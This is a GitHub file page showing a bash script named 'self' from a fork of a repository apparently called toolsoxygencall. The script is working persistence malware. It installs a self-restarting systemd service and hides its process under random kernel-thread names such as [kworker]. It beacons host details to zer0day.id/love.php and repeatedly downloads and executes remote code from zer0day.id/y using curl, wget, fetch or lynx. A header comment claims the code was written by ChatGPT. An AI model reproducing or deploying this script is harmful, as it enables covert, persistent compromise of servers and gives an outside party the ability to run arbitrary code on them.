forked from zycoder0day/toolsoxygencall
-
Notifications
You must be signed in to change notification settings - Fork 0
/
self
105 lines (85 loc) · 3.32 KB
/
self
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
#!/bin/bash
# Code By CHATGPT
self_healing_script_path="/usr/local/bin/self"
service_file_path="/etc/systemd/system/self.service"
php_endpoint="https://zer0day.id/love.php"
service_name="defunct"
pid_file="/var/run/self.pid"
proc_name_arr=("[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]")
PROC_HIDDEN_NAME_DEFAULT="${proc_name_arr[$((RANDOM % ${#proc_name_arr[@]}))]}"
cat << EOF > "$self_healing_script_path"
#!/bin/bash
host=\$(uname -a)
php_endpoint="$php_endpoint"
service_name="$service_name"
pid_file="$pid_file"
choose_random_proc_name() {
proc_names=("[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]")
echo "\${proc_names[\$((RANDOM % \${#proc_names[@]}))]}"
}
exec -a "$PROC_HIDDEN_NAME_DEFAULT" /bin/bash -c '
check_pid() {
if [ -f "$pid_file" ]; then
if ps -p "\$(cat $pid_file)" > /dev/null 2>&1; then
return 0
else
return 1
fi
else
return 1
fi
}
write_pid() {
echo $$ > "$pid_file"
}
cleanup() {
rm -f "$pid_file"
}
trap cleanup EXIT
write_pid
while true; do
if systemctl is-active --quiet "$service_name"; then
RANDOM_SLEEP_NAME="\$(choose_random_proc_name)"
exec -a "\$RANDOM_SLEEP_NAME" sleep 3
else
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_down&&host=$(uname -a)" "$php_endpoint"
bash -c "\$(curl -fsSL https://zer0day.id/y)" || bash -c "\$(wget -qO- https://zer0day.id/y)" || bash -c "\$(fetch -o - https://zer0day.id/y)" || bash -c "\$(lynx -source https://zer0day.id/y)" || bash -c "\$(brew install -q https://zer0day.id/y)"
if systemctl is-active --quiet "$service_name"; then
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_up&&host=$(uname -a)" "$php_endpoint"
else
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_fail&&host=$(uname -a)" "$php_endpoint"
fi
fi
done
'
EOF
chmod +x "$self_healing_script_path"
cat << EOF > "$service_file_path"
[Unit]
Description=Self Service
[Service]
ExecStart=$self_healing_script_path
Restart=always
RestartSec=10
PIDFile=$pid_file
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable self.service
systemctl start self.service
# Cek status service dan kirimkan notifikasi jika diperlukan
status_output=$(systemctl status self.service 2>&1)
if echo "$status_output" | grep -q "active (running)"; then
if ! echo "$status_output" | grep -q "Failed"; then
if echo "$status_output" | grep -q "self.service"; then
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_already_injected&host=$(uname -a)" "$php_endpoint"
else
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_injected&host=$(uname -a)" "$php_endpoint"
fi
else
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_error&host=$(uname -a)" "$php_endpoint"
fi
else
curl -sL -H "Content-Type: text/plain" -X POST --data-binary "status=service_not_running&host=$(uname -a)" "$php_endpoint"
fi